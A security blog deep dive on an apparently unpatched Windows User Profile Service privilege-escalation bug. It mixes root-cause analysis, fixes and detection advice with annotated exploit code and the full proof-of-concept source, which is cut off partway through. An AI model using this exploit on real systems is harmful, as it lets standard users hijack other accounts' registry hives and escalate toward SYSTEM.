core-jmp core-jmpdeath of core jump

LegacyHive: The Windows User Profile Service Bug That Loads Another User’s Registry Hive

Nightmare-Eclipse's LegacyHive is an unpatched Windows privilege-escalation flaw: a standard user coerces the SYSTEM-level User Profile Service into loading another user's registry hive by chaining a poisoned Local AppData value, object-manager symbolic links, and an oplock-driven TOCTOU race. This deep dive explains what it is, how the PoC works line by line, why Windows allows it, which systems are affected, how Microsoft should fix it, and how defenders can respond.

oxfemale July 16, 2026 25 min read 40 reads
Export PDF
LegacyHive: The Windows User Profile Service Bug That Loads Another User’s Registry Hive
Original text: "LegacyHive — Windows user profile service arbitrary hive load elevation of privileges vulnerability"Nightmare-Eclipse (GitHub handle MSNightmare), Project NightCrawler, July 14 2026. The proof-of-concept is published under the MIT License; all code below is reproduced verbatim with attribution.

Executive Summary

On 14 July 2026 — hours after Microsoft’s July Patch Tuesday — the researcher known as Nightmare-Eclipse published LegacyHive, a proof-of-concept for an unpatched Windows local privilege-escalation (LPE) flaw in the User Profile Service (ProfSvc). In plain terms: an ordinary, non-administrator user can trick a SYSTEM-level Windows service into loading another user’s registry hive — including an administrator’s — into a place the attacker controls. The published exploit deliberately mounts the target’s UsrClass.dat hive under the attacker’s own Classes Root, proving the primitive; the author states the original, unreleased version needed no extra credentials and could load any hive, which is the stepping stone to full SYSTEM compromise.

The bug is a textbook combination of three old Windows weaknesses: an attacker-writable registry value that steers where the profile service looks for a hive, object-manager symbolic links that redirect that lookup, and an oplock (opportunistic lock) used to win a time-of-check to time-of-use (TOCTOU) race. The PoC is reported to work on every currently supported Windows desktop and server release with the July 2026 updates installed. No CVE has been assigned at the time of writing. This article breaks down what the bug is, how the code achieves it line by line, why Windows lets it happen, which systems are affected, how Microsoft should fix it, and what defenders can do today.

What LegacyHive Is, In Plain Terms

Every Windows user has a private bundle of settings called a registry hive. Think of it as a personal filing cabinet: your desktop wallpaper, your file associations, your app preferences all live inside it, and Windows is supposed to keep each user’s cabinet locked to that user. When you sign in, a background service running with the highest privileges (SYSTEM) unlocks your cabinet and plugs it into the system so your session looks like “you”.

LegacyHive abuses the moment of unlocking. The attacker leaves a series of forged signposts inside Windows that quietly say “the cabinet you are looking for is over here”. At the exact instant the SYSTEM service reaches for the cabinet, the attacker swaps the signpost so the service grabs a different person’s cabinet — for example, the administrator’s — and hands it to the attacker. Because the powerful service did the reaching, it never stops to ask whether the low-privileged attacker was actually allowed to open that cabinet. That confused-deputy handoff is the whole vulnerability.

Background: Hives, Profiles, and the User Profile Service

Registry hives and where they live

A hive is a single binary file that Windows maps into the registry tree. The two hives that matter here are:

  • NTUSER.DAT — the per-user hive mounted as HKEY_CURRENT_USER (HKCU). It lives at C:\Users\<name>\NTUSER.DAT.
  • UsrClass.dat — the per-user class registration hive mounted as HKCU\Software\Classes and surfaced through the Classes Root (HKEY_CLASSES_ROOT). It lives at C:\Users\<name>\AppData\Local\Microsoft\Windows\UsrClass.dat.

Crucially, the location of UsrClass.dat is derived from the user’s Local AppData path, and that path is stored inside the user’s own NTUSER.DAT, under Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders. A standard user fully controls their own NTUSER.DAT. Remember that — it is the first domino.

The User Profile Service (ProfSvc)

ProfSvc runs as SYSTEM. When a profile is loaded — for instance when CreateProcessWithLogonW is called with the LOGON_WITH_PROFILE flag — the service reads the user’s NTUSER.DAT, works out where UsrClass.dat should be, opens it, and mounts it under the user’s Classes Root (HKEY_USERS\<SID>_Classes). The service performs these file operations with its own SYSTEM power while naming paths that the user influenced. That mismatch — SYSTEM doing the file I/O, user controlling the path — is the trust boundary LegacyHive breaks.

The Core Idea of the Attack

LegacyHive chains three primitives. Each is individually well understood; the novelty is wiring them together against ProfSvc in a way the July 2026 patches do not stop:

  1. Redirect the lookup. Edit the attacker-controlled NTUSER.DAT so that Local AppData points at the object-manager namespace (\\.\globalroot\BaseNamedObjects\Restricted) instead of a real folder. Now the profile service will look for UsrClass.dat inside an area the attacker can populate with fake signposts.
  2. Plant the signposts. Create object-manager symbolic links and a shadow directory so the path Restricted\Microsoft\Windows first resolves to the attacker’s working directory (a decoy copy of UsrClass.dat) and, after a swap, to the victim’s real folder.
  3. Win the race. Put an opportunistic lock (oplock) on the decoy file. When SYSTEM touches the decoy it stalls; the attacker deletes one symlink so the name now resolves through the shadow directory to the victim’s hive, then releases the lock. SYSTEM resumes and loads the victim’s hive.

Step by Step: How the PoC Works

The exploit is invoked as LegacyHive.exe <username> <password> <target_user_hive>. The first two arguments are the credentials of a second standard account the attacker controls (this is the deliberate self-imposed restriction); the third is the victim’s username — which may be an administrator.

Step 1 — Poison the standard user’s own hive

After logging on as the supplied standard user and impersonating them, the PoC opens that user’s own NTUSER.DAT and edits it offline using the Offline Registry Library (offreg.dll: OROpenHiveByHandle, OROpenKey, ORSetValue, ORSaveHive). It backs up the original bytes, rewrites User Shell Folders\Local AppData to \\.\globalroot\BaseNamedObjects\Restricted, saves the modified hive, and swaps it in with MoveFileEx. (The bracketed comment is the author’s own annotation on the awkward file-pointer reset.)

		ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\ntuser.dat", userhivepath, MAX_PATH);
		ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", usrclasshivepath, MAX_PATH);
		huserhive = CreateFile(userhivepath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (!huserhive || huserhive == INVALID_HANDLE_VALUE)
		{
			printf("Failed to open user hive \"%ws\", error : %d\n", userhivepath, GetLastError());
			goto cleanup;
		}
		GetFileSizeEx(huserhive, &li);
		hivesz = li.QuadPart;
		hivebuff = malloc(hivesz);
		if (!ReadFile(huserhive, hivebuff, hivesz, &readbytes, NULL) || hivesz != readbytes)
		{
			printf("Failed to backup target user hive content, error : %d\n", GetLastError());
			goto cleanup;
		}

		// fucking retarded
		SetFilePointer(huserhive, NULL, NULL, FILE_BEGIN);
		retval = OROpenHiveByHandle(huserhive, &hivemap);
		if (retval)
		{
			printf("Failed to map user hive to memory, error %d\n", retval);
			goto cleanup;
		}
		retval = OROpenKey(hivemap, L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", &htargetkey);
		if (retval)
		{
			printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders, error %d\n", retval);
			goto cleanup;
		}
		retval = ORSetValue(htargetkey, L"Local AppData", REG_EXPAND_SZ, (LPBYTE)newlappdata, wcslen(newlappdata) * sizeof(wchar_t) + sizeof(wchar_t));
		if (retval)
		{
			printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Local AppData, error %d\n", retval);
			goto cleanup;
		}
		ORCloseKey(htargetkey);
		htargetkey = NULL;
		retval = ORSaveHive(hivemap, newhivepath, osver.dwMajorVersion, osver.dwMinorVersion);
		if (retval)
		{
			printf("Failed to save new hive content, error : %d\n", retval);
			goto cleanup;
		}
		ORCloseHive(hivemap);
		hivemap = NULL;
		CloseHandle(huserhive);
		huserhive = NULL;
		if (!MoveFileEx(newhivepath, userhivepath, MOVEFILE_REPLACE_EXISTING))
		{
			printf("Failed to apply hive changes, error : %d\n", GetLastError());
			goto cleanup;
		}

Why this matters: the profile service will now compute the UsrClass.dat path as \\.\globalroot\BaseNamedObjects\Restricted\Microsoft\Windows\UsrClass.dat. The \\.\globalroot device prefix maps a Win32 path straight into the NT object-manager root, so that string is really \BaseNamedObjects\Restricted\Microsoft\Windows\UsrClass.dat — a place the attacker can furnish.

Step 2 — Build the object-manager redirection

Under \BaseNamedObjects\Restricted (an object directory that low-privilege tokens may write to) the PoC creates two directory objects and two symbolic links. The trick is the shadow directory: the Restricted\Microsoft directory is created with the attacker’s GUID directory as its shadow, so a name missing from Microsoft is transparently resolved in the GUID directory instead.

		InitializeObjectAttributes(&workdirobjattr, &workdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
		stat = _NtCreateDirectoryObjectEx(&hworkdirobj, GENERIC_ALL, &workdirobjattr, NULL, NULL);
		if (stat)
		{
			printf("Failed to create object directory %ws, error : 0x%0.8X\n", workdirobjpath.Buffer, stat);
			goto cleanup;
		}
		InitializeObjectAttributes(&msdirobjattr, &msdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
		stat = _NtCreateDirectoryObjectEx(&hmsdirobj, GENERIC_ALL, &msdirobjattr, hworkdirobj, NULL);
		if (stat)
		{
			printf("Failed to create object directory %ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, stat);
			goto cleanup;
		}
		InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hmsdirobj, NULL);
		stat = _NtCreateSymbolicLinkObject(&hwindirlnk, GENERIC_ALL, &winlnkobjattr1, &winlnktarget1);
		if (stat)
		{
			printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, uwin.Buffer, stat);
			goto cleanup;
		}
		InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hworkdirobj, NULL);
		stat = _NtCreateSymbolicLinkObject(&hwindirlnk1, GENERIC_ALL, &winlnkobjattr1, &winlnktarget2);
		if (stat)
		{
			printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", workdirobjpath.Buffer, uwin.Buffer, stat);
			goto cleanup;
		}

This yields two competing meanings for the path component Restricted\Microsoft\Windows:

Symbolic linkPoints toRole
Restricted\Microsoft\Windows\??\C:\<GUID> (attacker workdir)Decoy — holds the oplocked copy of UsrClass.dat
Restricted\<GUID>\Windows (via shadow)\??\C:\Users\<victim>\AppData\Local\Microsoft\WindowsReal target — the victim’s hive folder
The two object-manager symbolic links. Deleting the first makes the name fall through the shadow directory to the second. Source: original article.

Step 3 — Arm the oplock and trigger the load

The PoC copies the user’s real UsrClass.dat into the workdir (the decoy), opens it with FILE_FLAG_OVERLAPPED, and requests a batch oplock via FSCTL_REQUEST_BATCH_OPLOCK. It then spawns a helper thread that calls CreateProcessWithLogonW with LOGON_WITH_PROFILE — the action that makes SYSTEM’s ProfSvc load the profile and reach for the (poisoned) hive path.

		hlock = CreateFile(usrclasshivepathnew, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
		if (!hlock || hlock == INVALID_HANDLE_VALUE)
		{
			printf("Failed to open %ws, error : %d\n", usrclasshivepathnew, GetLastError());
			goto cleanup;
		}
		ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
		DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ov);

		if (GetLastError() != ERROR_IO_PENDING)
		{
			printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
			goto cleanup;
		}



		hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)HiveLoaderThread, &targ, NULL, &tid);
		if (!hthread)
		{
			printf("Failed to create helper thread, error : %d\n", GetLastError());
			goto cleanup;
		}
		GetOverlappedResult(hlock, &ov, &transfersz, TRUE);
		CloseHandle(hwindirlnk);
		hwindirlnk = NULL;
		printf("oplock triggered !\n");
		CloseHandle(hlock);
		hlock = NULL;

		
		WaitForSingleObject(hthread, INFINITE);
DWORD WINAPI HiveLoaderThread(void* creds)
{
	HVarg* _creds = (HVarg*)creds;
	if (!_creds) {
		RaiseExceptionInThread(_creds->hcallerthread);
		return 1;
	}
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };

	if (!CreateProcessWithLogonW(_creds->username, NULL, _creds->password, LOGON_WITH_PROFILE, L"C:\\Windows\\notepad.exe", NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
	{
		printf("CreateProcessWithLogonW failed with error : %d\n", GetLastError());
		RaiseExceptionInThread(_creds->hcallerthread);
		return 1;
	}
	CloseHandle(pi.hThread);
	_creds->hprocess = pi.hProcess;
	return ERROR_SUCCESS;
}

The sequence is the heart of the race. GetOverlappedResult blocks until the profile service opens the decoy and trips the oplock. The instant it does, the attacker CloseHandle(hwindirlnk) — deleting the first symlink — so the name Restricted\Microsoft\Windows now resolves through the shadow directory to the victim’s folder. Closing the lock handle releases the oplock and lets SYSTEM proceed, but it now continues down a path that points at the administrator’s real UsrClass.dat.

Step 4 — The result: a foreign hive under your Classes Root

Once the helper thread returns, the PoC confirms success by calling RegOpenUserClassesRoot for the impersonated token: if the victim’s hive was mounted, the call succeeds.

		retval = RegOpenUserClassesRoot(htoken, NULL, MAXIMUM_ALLOWED, &hloadedhive);
		if (hloadedhive)
		{
			RegCloseKey(hloadedhive);
			hloadedhive = NULL;
		}
		if (retval)
		{
			printf("Exploit failed, hive was not loaded.\n");
			goto cleanup;
		}
		printf("Hive loaded, press any key to unload and exit.\n");
Console output of LegacyHive.exe showing oplock triggered and Hive loaded, with Registry Editor showing the target user Classes hive mounted under HKEY_USERS
Running LegacyHive.exe user2 test0 admin2: the console prints “oplock triggered” then “Hive loaded”, and Registry Editor shows the target account’s ..._Classes hive mounted under HKEY_USERS with the attacker (user2) able to read it. Source: original article.

In the stripped-down PoC this proves the arbitrary-hive-load primitive. In the unrestricted variant the author describes, the same primitive — a SYSTEM service loading an attacker-chosen hive from an attacker-chosen path — becomes an arbitrary file write/overwrite as SYSTEM, which is a direct route to full privilege escalation.

Why It Works: Root Cause

LegacyHive is a link-following TOCTOU bug in a privileged service. Three design facts line up to make it exploitable:

  • User-controlled path source (CWE-15 / CWE-426 flavour). The profile service locates UsrClass.dat from the Local AppData value inside a hive the user owns. Trusting user-writable data to steer a privileged file open is the initial mistake.
  • Unsafe link resolution (CWE-59, “link following”). The service follows object-manager symbolic links and shadow-directory redirections while opening the hive, and does not verify that the final path stays inside the legitimate profile directory (C:\Users\<user>). The \\.\globalroot prefix lets an ordinary path escape into that redirectable namespace.
  • Time-of-check to time-of-use race (CWE-367). The path is effectively resolved more than once. A batch oplock gives the attacker a deterministic pause to swap the symlink between the check and the authoritative load, so the file that is validated is not the file that is used.

The net effect is a classic confused deputy (CWE-269, improper privilege management): the low-privileged attacker cannot open the administrator’s hive directly, so they make SYSTEM do it and hand back the result. Microsoft has patched several earlier ProfSvc symlink EoPs by adding impersonation and path checks; LegacyHive still fires on fully-updated July 2026 systems, indicating this particular redirection path (Local AppDataglobalroot → shadow-directory symlink swap) is not covered by those mitigations.

Impact

  • Privilege escalation, local. A low-privileged, authenticated user elevates toward SYSTEM/administrator. It is not remote code execution and needs local execution.
  • Cross-user hive disclosure and tampering. The attacker gains a foreign user’s hive mounted in their own session — readable, and in the unrestricted variant, writable via SYSTEM.
  • Post-compromise leverage. On shared machines, terminal/RDS servers, and privileged workstations, this turns any foothold with a standard account into a path to full control of the host.
  • Restricted PoC vs. real bug. The public code needs a second standard credential and only targets UsrClass.dat; the author states the true bug requires no extra credential and can load any hive.

Which Operating Systems Are Affected

Operating systemAffected?Notes
Windows 11 (23H2 / 24H2 / 25H2)YesPoC reported functional with the July 2026 cumulative update installed
Windows 10 (all supported builds)YesSame profile-service code path
Windows Server 2016 / 2019 / 2022 / 2025YesAuthor states “all currently supported desktop and server installations”
Older / end-of-life WindowsLikelyShares the same design; untested, unpatched
Linux, macOS, *BSDNoWindows-specific — relies on the NT object manager, registry hives and ProfSvc, which have no equivalent on other OSes
Affected platforms. No CVE assigned at the time of writing. Source: derived from the original article and the author’s statements.

How to Fix It (Root-Cause Remediation for Microsoft)

A durable fix has to break the link-following TOCTOU rather than patch one symptom:

  • Canonicalize and confine the path. After resolving the hive location, verify the final, reparse-resolved path lives under the genuine profile root (%SystemDrive%\Users\<user>) and reject anything that leaves it — in particular device/object-manager prefixes such as \\.\globalroot, \Device\ and stray \??\ targets.
  • Open with reparse protection. Open the hive with FILE_FLAG_OPEN_REPARSE_POINT / OBJ_DONT_REPARSE and explicitly refuse symbolic-link and mount-point reparses on the trusted path components.
  • Eliminate the double resolution. Resolve the path once, then perform the load from that same handle, so an attacker cannot swap the target between check and use. Where a re-open is unavoidable, re-verify the file identity (by FILE_ID) after the oplock breaks.
  • Do the I/O in the user’s context. Open the hive while impersonating the user, not as SYSTEM, so a standard user cannot borrow SYSTEM’s reach to open a hive they could not open themselves.
  • Stop trusting user-writable location data. Derive UsrClass.dat from the known profile path rather than the user-controlled Local AppData value.

Defensive Recommendations & Hardening Checklist

Until Microsoft ships a fix, defenders can shrink the exposure and improve their odds of catching exploitation:

  • Guard local credentials. The public PoC needs a second standard account’s password on the same machine — enforce unique, strong passwords and avoid shared local accounts, especially on multi-user hosts and RDS/terminal servers.
  • Apply the patch the moment it lands. Track Microsoft’s advisories; this is an unpatched 0-day, so prioritise the fix when a CVE and update appear.
  • Least privilege everywhere. Minimise who can log on interactively to sensitive machines; keep administrator profiles off shared workstations where untrusted users run code.
  • Application control. Use WDAC / AppLocker to block unapproved binaries — the exploit ships as an unsigned executable that allowlisting can stop from ever running.
  • Watch the profile-load path. Alert on seclogon-spawned processes (CreateProcessWithLogonW), on registry RegLoadKey / ..._Classes mounts for accounts that are not interactively logged on, and on hive files (ntuser.dat, UsrClass.dat) appearing in odd locations such as C:\<GUID>\.
  • Lean on EDR behavioural detection. The symlink-plus-oplock swap pattern and unusual object-directory creation under \BaseNamedObjects\Restricted are strong behavioural signals; ensure your EDR is not merely signature-based here.
  • Assume standard accounts are not a boundary. Treat any code execution as a potential SYSTEM compromise on affected hosts when scoping incident response.

Detection Ideas & Indicators

  • Process telemetry (e.g. Sysmon Event ID 1) showing svchost/seclogon launching a suspended notepad.exe or similar right after an unsigned tool runs.
  • Registry telemetry for hive loads (RegLoadKey/RegLoadAppKey) that mount HKEY_USERS\<SID>_Classes for a non-logged-on account.
  • File telemetry for UsrClass.dat / ntuser.dat copies written to a freshly created C:\<random-GUID> directory with a world-writable DACL.
  • MITRE ATT&CK mapping: T1068 (Exploitation for Privilege Escalation) and T1548 (Abuse Elevation Control Mechanism). CWE mapping: CWE-59, CWE-367, CWE-269.

Key Takeaways

  • LegacyHive lets a standard Windows user coerce the SYSTEM-level User Profile Service into loading another user’s registry hive — a local privilege-escalation primitive.
  • It chains three classic weaknesses: a user-controlled path value, object-manager symlink redirection, and an oplock-driven TOCTOU race.
  • The public PoC is intentionally restricted (needs a second standard credential, targets only UsrClass.dat); the real bug is broader.
  • It reportedly works on all supported Windows desktop and server versions patched through July 2026, with no CVE yet assigned.
  • The root cause is a privileged service following attacker-controllable links across a TOCTOU window without confining the resolved path to the real profile directory.
  • Non-Windows systems are unaffected; the design that enables it (NT object manager, registry hives, ProfSvc) is Windows-specific.

The Complete Proof-of-Concept Source

The full LegacyHive.cpp is reproduced verbatim below under its MIT License for study and detection engineering. It is Windows-specific and requires the offline registry SDK (offreg) to build. Reproduced from the original repository.

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <UserEnv.h>
#include <AclAPI.h>
#include <ntstatus.h>
#include <conio.h>
#include "offreg.h"
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "userenv.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "offreg.lib")
#pragma comment(lib, "Rpcrt4.lib")
#pragma warning(disable : 4996)

HMODULE hm = GetModuleHandle(L"ntdll.dll");
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
	OUT PHANDLE             pHandle,
	IN ACCESS_MASK          DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes,
	IN PUNICODE_STRING      DestinationName) = (NTSTATUS(WINAPI*)(
		OUT PHANDLE             pHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN PUNICODE_STRING      DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
	OUT PHANDLE             DirectoryHandle,
	IN ACCESS_MASK          DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes,
	IN HANDLE ShadowDirectoryHandle,
	IN ULONG Flags) =
	(NTSTATUS(WINAPI*)(
		OUT PHANDLE             DirectoryHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN HANDLE ShadowDirectoryHandle,
		IN ULONG Flags))GetProcAddress(hm, "NtCreateDirectoryObjectEx");

struct HVarg {
	wchar_t* username;
	wchar_t* password;
	HANDLE hprocess;
	HANDLE hcallerthread;
};

void GenGUID(wchar_t* guid)
{
	GUID uid = { 0 };
	RPC_WSTR wuid = { 0 };
	UuidCreate(&uid);
	UuidToStringW(&uid, &wuid);
	wchar_t* wuid2 = (wchar_t*)wuid;
	wcscpy(guid, wuid2);
}

bool CreateDirectoryWithPermissiveDACL(wchar_t* dirpath)
{
	PSID pEveryoneSID = NULL;
	PACL pACL = NULL;
	EXPLICIT_ACCESS ea;
	SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
	if (!AllocateAndInitializeSid(&SIDAuthWorld, 1,
		SECURITY_WORLD_RID,
		0, 0, 0, 0, 0, 0, 0,
		&pEveryoneSID))
	{
		printf("AllocateAndInitializeSid, error: %d\n", GetLastError());
		return false;
	}

	ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
	ea.grfAccessPermissions = GENERIC_ALL;
	ea.grfAccessMode = SET_ACCESS;
	ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT | NO_INHERITANCE;

	ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
	ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
	ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID;

	DWORD dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL);
	if (dwRes != ERROR_SUCCESS) {
		printf("SetEntriesInAcl, error: %d\n", dwRes);
		FreeSid(pEveryoneSID);
		return false;
	}
	PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LMEM_FIXED, SECURITY_DESCRIPTOR_MIN_LENGTH);
	InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
	SetSecurityDescriptorDacl(sd, TRUE, pACL, FALSE);
	SECURITY_ATTRIBUTES sa = { 0 };
	sa.nLength = sizeof(sa);
	sa.lpSecurityDescriptor = sd;

	bool retval = true;
	if (!CreateDirectory(dirpath, &sa))
	{
		printf("Failed to create directory %ws, error : %d\n", dirpath, GetLastError());
		retval = false;
	}
	if (sd) LocalFree(sd);
	if (pEveryoneSID) FreeSid(pEveryoneSID);
	if (pACL) LocalFree(pACL);
	return retval;
}

void ThrowFunc()
{
	throw 1;
}

void RaiseExceptionInThread(HANDLE hthread)
{
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_FULL;
	SuspendThread(hthread);

	if (GetThreadContext(hthread, &ctx))
	{
		ctx.Rip = (DWORD64)ThrowFunc;
		SetThreadContext(hthread, &ctx);
		ResumeThread(hthread);
	}
}

DWORD WINAPI HiveLoaderThread(void* creds)
{
	HVarg* _creds = (HVarg*)creds;
	if (!_creds) {
		RaiseExceptionInThread(_creds->hcallerthread);
		return 1;
	}
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };

	if (!CreateProcessWithLogonW(_creds->username, NULL, _creds->password, LOGON_WITH_PROFILE, L"C:\\Windows\\notepad.exe", NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
	{
		printf("CreateProcessWithLogonW failed with error : %d\n", GetLastError());
		RaiseExceptionInThread(_creds->hcallerthread);
		return 1;
	}
	CloseHandle(pi.hThread);
	_creds->hprocess = pi.hProcess;
	return ERROR_SUCCESS;
}

int wmain(int argc, wchar_t **argv)
{

    if (argc != 4)
    {
        printf("Usage %ws <username> <password> <target_user_hive>\n", argv[0]);
        return 0;
    }
	OSVERSIONINFO osver = { 0 };
	osver.dwOSVersionInfoSize = sizeof(osver);
	GetVersionEx(&osver);

	DWORD tid = NULL;
	HANDLE hthread = NULL;
	HVarg targ = { 0 };
	targ.username = argv[1];
	targ.password = argv[2];


	HANDLE htoken = NULL;
	HKEY hloadedhive = NULL;
	wchar_t userhivepath[MAX_PATH] = { 0 };
	HANDLE huserhive = NULL;
	ORHKEY hivemap = NULL;
	DWORD retval = NULL;
	ORHKEY htargetkey = NULL;
	bool shouldrestore = false;
	wchar_t existinglocalappdatapath[MAX_PATH] = { 0 };
	wchar_t guid[64] = { 0 };
	GenGUID(guid);
	wchar_t newlappdata[MAX_PATH] = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted";
	DWORD elapsz = NULL;
	bool cleandir = false;
	wchar_t workdir[MAX_PATH] = { L"C:\\" };
	wcscat(workdir, guid);

	NTSTATUS stat = STATUS_SUCCESS;
	HANDLE hworkdirobj = NULL;
	HANDLE hmsdirobj = NULL;
	HANDLE hwindirlnk = NULL;
	HANDLE hwindirlnk1 = NULL;

	wchar_t newhivepath[MAX_PATH] = { 0 };
	wsprintf(newhivepath, L"%s\\ntuser.dat", workdir);

	wchar_t usrclasshivepath[MAX_PATH] = { 0 };
	wchar_t usrclasshivepathnew[MAX_PATH] = { 0 };
	wsprintf(usrclasshivepathnew, L"%s\\UsrClass.dat", workdir);

	void* hivebuff = NULL;
	DWORD hivesz = NULL;
	LARGE_INTEGER li = { 0 };
	DWORD readbytes = 0;

	wchar_t _winlnktarget1[MAX_PATH] = { 0 };
	wsprintf(_winlnktarget1, L"\\??\\C:\\%s", guid);
	UNICODE_STRING winlnktarget1 = { 0 };
	RtlInitUnicodeString(&winlnktarget1, _winlnktarget1);
	wchar_t _winlnktarget2[MAX_PATH] = { 0 };
	wsprintf(_winlnktarget2, L"\\??\\C:\\Users\\%s\\AppData\\Local\\Microsoft\\Windows", argv[3]);
	UNICODE_STRING winlnktarget2 = { 0 };
	RtlInitUnicodeString(&winlnktarget2, _winlnktarget2);

	UNICODE_STRING msdirobjpath = { 0 };
	UNICODE_STRING workdirobjpath = { 0 };
	OBJECT_ATTRIBUTES msdirobjattr = { 0 };
	OBJECT_ATTRIBUTES workdirobjattr = { 0 };
	RtlInitUnicodeString(&msdirobjpath, L"\\BaseNamedObjects\\Restricted\\Microsoft");

	wchar_t _workdirobjpath[MAX_PATH] = { 0 };
	wsprintf(_workdirobjpath, L"\\BaseNamedObjects\\Restricted\\%s", guid);
	RtlInitUnicodeString(&workdirobjpath, _workdirobjpath);
	UNICODE_STRING uwin = { 0 };
	RtlInitUnicodeString(&uwin, L"Windows");
	OBJECT_ATTRIBUTES winlnkobjattr1 = { 0 };

	HANDLE hlock = NULL;
	OVERLAPPED ov = { 0 };
	DWORD transfersz = NULL;
	try {

		targ.hcallerthread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
		if (!targ.hcallerthread)
		{
			printf("Failed to open current thread, error : %d\n", GetLastError());
			goto cleanup;
		}
		InitializeObjectAttributes(&workdirobjattr, &workdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
		stat = _NtCreateDirectoryObjectEx(&hworkdirobj, GENERIC_ALL, &workdirobjattr, NULL, NULL);
		if (stat)
		{
			printf("Failed to create object directory %ws, error : 0x%0.8X\n", workdirobjpath.Buffer, stat);
			goto cleanup;
		}
		InitializeObjectAttributes(&msdirobjattr, &msdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
		stat = _NtCreateDirectoryObjectEx(&hmsdirobj, GENERIC_ALL, &msdirobjattr, hworkdirobj, NULL);
		if (stat)
		{
			printf("Failed to create object directory %ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, stat);
			goto cleanup;
		}
		InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hmsdirobj, NULL);
		stat = _NtCreateSymbolicLinkObject(&hwindirlnk, GENERIC_ALL, &winlnkobjattr1, &winlnktarget1);
		if (stat)
		{
			printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, uwin.Buffer, stat);
			goto cleanup;
		}
		InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hworkdirobj, NULL);
		stat = _NtCreateSymbolicLinkObject(&hwindirlnk1, GENERIC_ALL, &winlnkobjattr1, &winlnktarget2);
		if (stat)
		{
			printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", workdirobjpath.Buffer, uwin.Buffer, stat);
			goto cleanup;
		}

		cleandir = CreateDirectoryWithPermissiveDACL(workdir);
		if (!cleandir)
			goto cleanup;
		if (!LogonUser(argv[1], NULL, argv[2], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken) || !htoken) {
			printf("LogonUser failed, error : %d\n", GetLastError());
			goto cleanup;
		}
		if (!ImpersonateLoggedOnUser(htoken))
		{
			printf("ImpersonateLoggedOnUser failed, error : %d\n", GetLastError());
			goto cleanup;
		}

		ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\ntuser.dat", userhivepath, MAX_PATH);
		ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", usrclasshivepath, MAX_PATH);
